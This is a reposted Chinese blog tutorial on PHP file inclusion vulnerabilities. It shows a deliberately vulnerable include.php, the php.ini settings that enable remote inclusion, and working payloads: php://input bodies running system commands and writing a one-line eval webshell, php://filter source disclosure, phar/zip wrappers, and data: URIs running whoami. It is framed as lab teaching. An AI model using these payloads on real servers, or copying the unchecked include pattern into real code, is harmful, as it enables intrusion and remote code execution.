• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

网络安全和渗透文件包含漏洞十一此生无悔入华夏,男儿何不带吴钩

武飞扬头像
此人未设置昵称
帮助1

中华人民共和国网络安全法

阅读本文前,请熟读并遵守中华人民共和国网络安全法: www.npc.gov.cn/npc/c30834/…

简介

简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。

在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时,用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞。通常文件包含漏洞出现在PHP语言中。    

PHP通常引发此漏洞的函数

  • include()
  • include_once()
  • require()
  • require_once()

文件包含漏洞常用场景

  • 具有相关文件包含函数
  • 文件包含函数中存在动态变量 如include $file;
  • 攻击者能够控制该变量 比如:file=file=_GET['file'];
  • 常见的如:file page 等参数    

相关配置介绍

php配置文件

php.ini 是php的配置文件,里面包含了众多配置,在php启动的时候被读取。自php3.5起,php支持每个目录的.htaccess风格的ini文件。此类文件仅被CDI/FASTCGI SAPI处理。如果使用apache,则用.htaccess文件同样效果。

以下是一些常见配置:

  • short_open_tag = on 允许php使用短标签,如用 <? 代替 <?php,可利用短标签绕过waf
  • disable_classes= /disable_functions= 禁用类/函数 可接收逗号分隔的函数名列表作为参数
  • file_uploads = on 设置允许上传
  • upload_max_filesize = 8m 最大允许上传多大的内容
  • upload_tmp_dir 上传临时文件保存的目录,且这个目录可写
  • allow_url_fopen = on 是否允许打开远程文件,该项打开,就能够利用上面的函数远程包含文件    

本地文件包含 LFI

当被包含的文件在服务器本地时,就形成本地文件包含

假如服务器存在一个include.php文件,其代码如下:

<?php
	$file=$_GET['file'];
	include $file;
?>

那么就可以从浏览器上反问一些服务器敏感路径:如下: 学新通

在linux系统下就可以访问etc下面的内容,危害十分巨大。

远程文件包含 RFI

当被包含的文件在第三方服务器时,叫做远程文件包含。

前提条件,需要php设置两个参数

  • allow_url_fopen = on
  • allow_url_include = on 允许包含url对象文件等

这里开启一个本地的php服务,并写一个phpinfo的文件,也可以是一句话木马,然后远程包含 效果如下 学新通    

PHP伪协议包含

php://input

它是可以访问请求的原始数据的只读流,简单来说就是,获取post传过去的数据

利用条件只有:
allow_url_include = on
利用方式:
index.php?file=php://input
POST:

<?php phpinfo();?>

<?php system('ipconfig');?>

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]);?>');?>

下面来演示一下

  1. 将上面的include.php文件放在文件漏洞靶场第一关目录下,如下图 学新通
    然后在浏览器中访问,如下图, 学新通

php://filter

我们一般用它来读取源码,一般用base64先编码,再解码
利用方式
index.php?page=php://filter/read=convert.base64-encode/resource=file1.php
index.php?page=php://filter/read=convert.base64-decode/resource=file1.php
下面演示一下:
首先还是在浏览器中访问 学新通
粘贴内容,在线解码:base64.us/
可以看到php源码内容 学新通

phar://

这个是利用压缩包读取内容的方式执行木马
利用条件,php版本低于5.3.0


首先创建一个文件test.txt 然后在里面写入,或者一句话木马,然后压缩成一个test.zip, 通过文件上传等方式将这个压缩包上传到服务器。
在浏览器中这样访问:http://192.168.10.40/upload-labs-master/Pass-01/include.php?file=pchar://压缩包路径/test.txt
如果include.php和压缩包不在一个目录,可以利用../找到压缩包的目录


类似它的还有: zip://压缩包绝对路径#文件名称

data:url schema

利用条件:

  1. php版本大于5.2
  2. allow_url_include = on
  3. allow_url_fopen = on

利用方式:

include.php?file=data:text/plain,<?php phpinfo();?>
include.php?file=data:text/plain,<?php system('whoami');?>

   

通过session文件包含getshell

未完待续。。。

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgaikbg
系列文章
更多 icon
同类精品
更多 icon
继续加载